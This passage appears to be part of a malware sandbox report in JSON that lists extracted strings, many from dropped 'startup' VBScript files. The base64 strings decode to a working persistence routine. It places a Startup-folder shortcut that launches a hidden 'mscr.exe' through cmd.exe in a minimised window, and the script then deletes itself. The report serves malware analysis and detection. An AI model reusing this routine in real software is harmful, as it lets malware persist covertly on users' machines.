File","process":null,"filename":"startup9321933.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNDU5NDk2NS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup9936131.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNDczMjk4OC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup6687259.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNDkzMDMwNi5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup4601692.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNTE5OTgzLmxuayIp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7732691.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNTMzOTIyMS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7597624.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNjQyMzgyMi5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup6544173.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNjU0ODE3OS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7419274.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNjU2MDAwMC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup562985.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNjU2MDgzMi5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup196366.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNjg5MDM2OC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1446647.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNjk5MDQ4Mi5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup6752483.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNzU5OTAxMS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup9069048.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLODM3MTg3My5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup4770668.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLODM3NTE5Mi5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1295000.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLODM4NTM1OC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7171143.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLODQ0OTgwOC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup5581901.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLODY0NTA2MS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2431673.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLODcyNzU0OC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1198516.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLODkxMjYzNC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2162145.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLODk4MDQwMi5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7087234.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KFwi","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9iakZTTyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQ==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9iakZTTyA9IENyZWF0ZU9iamVjdChcIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0XCIp","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKQ==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxMDQ4OTI0LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1990457.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxMDU1NzcxLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1352268.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxMjIzMDExLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7434561.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxMzAwOTQ2LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup8245793.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxNDUyMDMzLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1581107.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxNTY2MDMzLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1095315.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxNzIyMDkzLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup8192529.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxODQ2NDIubG5rIilsbmsuVGFyZ2V0UGF0aCA9ICJjbWQuZXhlImxuay5Bcmd1bWVudHMgPSAiL2sgc3RhcnQgIiIiIiAiIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXEFkb2JlXDNNUllLXCBcbXNjci5leGUiIiZleGl0JiIiImxuay5XaW5kb3dTdHlsZSA9ICI3Imxuay5TYXZlb2JqRlNPLkRlbGV0ZUZpbGUoV3NjcmlwdC5TY3JpcHRGdWxsTmFtZSk=","type":"Ansi","source":"Dropped File","process":null,"filename":"startup3077130.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxOTI2NjgxLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1295063.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxOTk2NTE0LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7284813.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsyMjgyNTQ2LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup3197659.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsyNTI3MTA5LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup8790147.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsyNjg1NjU2LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2788310.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUszMDMxMTY0LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup3330015.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUszMjMyNjI0LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup5382966.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUszMzY3MTQ3LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2144209.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUszMzg2MDA3LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped 